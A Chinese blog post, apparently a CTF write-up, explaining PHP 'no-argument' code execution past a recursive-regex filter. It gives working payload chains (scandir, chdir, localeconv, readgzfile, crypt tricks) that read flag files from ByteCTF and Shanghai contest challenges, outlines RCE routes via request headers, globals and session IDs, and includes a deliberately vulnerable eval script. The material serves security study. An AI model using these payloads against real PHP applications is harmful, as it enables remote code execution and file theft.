php 无参数执行命令

通过几道ctf题,参考大佬的博客,学习下php无参数执行命令。

先看一个正则表达式。

preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)

(?R)代表整个正则表达式,也就是说这个正则表达式可以匹配aa(), aa(aa()),aa(aa(bb()))…..

本地先搭建一个简单的环境。

<?php
$code=$_GET['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) 
{
eval($code);

}
php>

假设flag文件和php脚本在同个目录。先学习几个php函数。

  • scandir() 获取目录中的文件。
  • localeconv() 返回一个包含本地数字及货币格式信息的数组。数组的第一个元素就是‘.’,可以和scandir()结合用来获取当前目前下的文件。
  • readfile(),读取文件,输出到浏览器,
  • 几个php数组指向函数。

所以,可以构造payload=http://10.10.10.147/123.php?code=print_r(scandir(reset(localeconv()))); 获取当前目前下的文件。

然后利用readfile()来读取flag.

payload:http://10.10.10.147/123.php?code=readfile(end(scandir(reset(localeconv()))));

下面来看几道CTF题目

ByteCTF Boringcode

题目部分源码:

 $code = file_get_contents($url);
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                echo 'bye~';
            } else {
                eval($code);
            }
        }
    } else {
        echo "error: host not allowed";
    }
} else {
    echo "error: invalid url";
}
}else{
    highlight_file(__FILE__);
}

flag是位于上一层目录下的。 先给出payload:

readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));

因为flag是在上一层目录下的,所以我们通过chdir改变目录。

  • pos()跟current()一样。
  • localtime()返回本地时间,默认为数值数组
  • time()返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数

payload是先利用pos(localeconv())获得’.’,然后next(scandir(pos(localeconv()))) 获得’..’,然后通过chdir()改变到上层目录。(ps:chdir成功返回true,失败返回false.time(true)可以成功执行).接着利用chr(pos(localtime(time())))来产生’.’,当46秒的时候,利用获得字符点。后面就可以读取flag了。

其他payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

.

readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))))))));

通过各种数学函数生成46.phpversion()是获得php版本号。

2019上海市大学生网络安全大赛_decade

题目:

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
        if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
        echo 'bye~';
            } else {
                eval($code);
            }
        }
    else {
        echo "invalid";
    }
}else {
    echo "invalid";
}

?>

flag也是在脚本的上一层目录。审计源码,发现与Byte的题目很相似,不同的就是正则过滤的更多了,我们就不能使用readfile等方式去读文件了,也不能用time的方式去获取“.”了

这里用到的payload是:

readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

readgzfile()是用来读取压缩文件的,但是也可以读取其他格式,可以用来代替readfile().chr(ord(hebrevc(crypt(phpversion())))),hebrevc(crypt(1))进行加密的时候,大概率首个符号为$,小概率首个符号为.,所以通过ord取出第一个字母的ascii在转成字符,就有一定概率获得.这个符号

也可以构造payload:

echo(implode(file(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))));

file这个函数用来读取flag文件。但是由于返回的是一个数组,implode()函数可以将数组转成字符串。

其他方法

继续用一开始的环境。

<?php
error_reporting(1);
 $code = $_GET['code'];
    if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {

            eval($code);
        }
    else{
echo 1;
}

?>

法1:getallheaders()

在apache2环境下,我们有函数getallheaders()可返回一些请求头的值 我们可以看一下返回值

所以我们可以在请求自定义自己的内容,然后来实现无参数执行函数。

法2: getdefinedvars()

使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢? 这里我们可以使用getdefinedvars(),首先看一下它的回显

发现其可以回显全局变量$GET,$POST,$FILES,$COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如

还是和之前的思路一样,将恶意参数取出

还可以利用$_FILES进行RCE

array_reverse()是对数组顺序进行反转。因为filename有些字符不能用,所以用php函数bin2hex转成16进制。然后hex2bin转回字符串再执行。前提是题目允许。

法3: session_id()

可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即hex2bin

法4:dirname() & chdir()

?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

可以获得上层目录下的文件。 dirname(chdir(dirname(getcwd()))) 可以改变目录,并且返回.

最后总结下函数

  • getcwd() 函数返回当前工作目录。
  • scandir() 函数返回指定目录中的文件和目录的数组。
  • dirname() 函数返回路径中的目录部分。
  • chdir() 函数改变当前的目录。
  • readfile() 输出一个文件
  • current() 返回数组中的当前单元, 默认取第一个值
  • pos() current() 的别名
  • next() 函数将内部指针指向数组中的下一个元素,并输出。
  • end() 将内部指针指向数组中的最后一个元素,并输出。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
  • arrayflip() arrayflip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
  • array_slice() 函数在数组中根据条件取出一段值,并返回
  • chr() 函数从指定的 ASCII 值返回字符。
  • hex2bin — 转换十六进制字符串为二进制字符串
  • array_reverse() 反转数组的顺序
  • getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
  • localeconv() 返回一个包含本地数字及货币格式信息的数组。数组的第一个元素就是‘.’,可以和scandir()结合用来获取当前目前下的文件。
  • localtime()返回本地时间,默认为数值数组
  • time()返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
  • readgzfile()是用来读取压缩文件的,但是也可以读取其他格式,可以用来代替readfile().
  • file这个函数用来读取flag文件。由于返回的是一个数组
  • implode()函数可以将数组转成字符串

参考文章

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E5%89%8D%E8%A8%80
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/phpshellnocode/#ByteCTFBoringcode

留下评论

粤ICP备20010650号